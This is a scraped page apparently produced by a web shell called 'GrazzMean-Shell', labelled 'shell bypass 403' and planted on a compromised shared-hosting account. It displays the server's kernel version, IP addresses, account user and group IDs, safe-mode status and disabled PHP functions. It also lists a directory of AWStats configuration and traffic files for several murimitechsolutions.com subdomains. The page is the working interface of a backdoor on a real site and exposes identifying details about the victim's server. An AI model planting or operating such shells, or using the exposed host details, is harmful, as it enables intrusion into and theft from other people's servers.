shell bypass 403

GrazzMean-Shell Shell

: /home/pumpbmko/tmp/awstats/ [ drwx------ ]
Uname: Linux gra108.truehost.cloud 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 8.2.26 [ PHP INFO ] PHP os: Linux
Server Ip: 87.98.244.154
Your Ip: 3.147.73.117
User: pumpbmko (2127) | Group: pumpbmko (2132)
Safe Mode: OFF
Disable Function:
allow_url_fopen, show_source, system, shell_exec, passthru, exec, phpinfo, mail, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apallow_url_fopen,show_source, system, shell_exec, passthru, exec, phpinfo, mail, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, ap
name last edit size owner:downer permission options
..
ssl 2025-01-04 12:17:37 - pumpbmko:pumpbmko drwx------
awstats.cyberworld.murimitechsolutions.com.conf 2024-10-24 00:52:06 23.51 KB pumpbmko:pumpbmko -rw-r--r--
awstats.murimitechsolutions.com.conf 2025-01-04 12:17:32 23.31 KB pumpbmko:pumpbmko -rw-r--r--
awstats.sakakeja.murimitechsolutions.com.conf 2025-01-04 12:17:36 23.32 KB pumpbmko:pumpbmko -rw-r--r--
awstats.tri-m.shop.murimitechsolutions.com.conf 2024-10-24 00:52:04 23.51 KB pumpbmko:pumpbmko -rw-r--r--
awstats012025.murimitechsolutions.com.txt 2025-01-04 12:17:33 19.2 KB pumpbmko:pumpbmko -rw-r--r--
awstats012025.sakakeja.murimitechsolutions.com.txt 2025-01-04 12:17:36 6.24 KB pumpbmko:pumpbmko -rw-r--r--
awstats072024.murimitechsolutions.com.txt 2024-08-03 23:45:02 25.43 KB pumpbmko:pumpbmko -rw-r--r--
awstats072024.tri-m.shop.murimitechsolutions.com.txt 2024-08-03 23:45:04 16.84 KB pumpbmko:pumpbmko -rw-r--r--
awstats082024.murimitechsolutions.com.txt 2024-10-24 00:51:59 22.6 KB pumpbmko:pumpbmko -rw-r--r--
awstats082024.sakakeja.murimitechsolutions.com.txt 2024-10-24 00:52:02 13.41 KB pumpbmko:pumpbmko -rw-r--r--
awstats082024.tri-m.shop.murimitechsolutions.com.txt 2024-10-24 00:52:04 10.57 KB pumpbmko:pumpbmko -rw-r--r--
awstats092024.murimitechsolutions.com.txt 2024-10-24 00:51:59 94.65 KB pumpbmko:pumpbmko -rw-r--r--
awstats092024.sakakeja.murimitechsolutions.com.txt 2024-10-24 00:52:02 8.4 KB pumpbmko:pumpbmko -rw-r--r--
awstats092024.tri-m.shop.murimitechsolutions.com.txt 2024-10-24 00:52:04 18.46 KB pumpbmko:pumpbmko -rw-r--r--
awstats102024.cyberworld.murimitechsolutions.com.txt 2024-10-24 00:52:06 13.44 KB pumpbmko:pumpbmko -rw-r--r--
awstats102024.murimitechsolutions.com.txt 2024-11-10 09:03:34 63.87 KB pumpbmko:pumpbmko -rw-r--r--
awstats102024.sakakeja.murimitechsolutions.com.txt 2024-11-10 09:03:35 8 KB pumpbmko:pumpbmko -rw-r--r--
awstats102024.tri-m.shop.murimitechsolutions.com.txt 2024-10-24 00:52:04 14.72 KB pumpbmko:pumpbmko -rw-r--r--
awstats112024.murimitechsolutions.com.txt 2025-01-04 12:17:32 221.53 KB pumpbmko:pumpbmko -rw-r--r--
awstats112024.sakakeja.murimitechsolutions.com.txt 2025-01-04 12:17:36 7.94 KB pumpbmko:pumpbmko -rw-r--r--
awstats122024.murimitechsolutions.com.txt 2025-01-04 12:17:33 251.42 KB pumpbmko:pumpbmko -rw-r--r--
awstats122024.sakakeja.murimitechsolutions.com.txt 2025-01-04 12:17:36 8.77 KB pumpbmko:pumpbmko -rw-r--r--
© 2025 GrazzMean-Shell